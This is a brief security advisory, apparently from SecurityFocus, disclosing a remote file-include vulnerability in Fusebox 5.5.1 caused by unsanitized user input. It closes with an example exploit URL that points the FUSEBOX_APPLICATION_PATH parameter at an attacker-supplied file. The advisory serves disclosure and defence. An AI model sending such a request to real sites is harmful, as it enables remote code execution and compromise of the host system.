source: https://www.securityfocus.com/bid/29163/info

Fusebox is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue can allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Fusebox 5.5.1 is vulnerable; other versions may also be affected. 

http://www.example.com/[PaTh]/fusebox5.php?FUSEBOX_APPLICATION_PATH=[EV!L]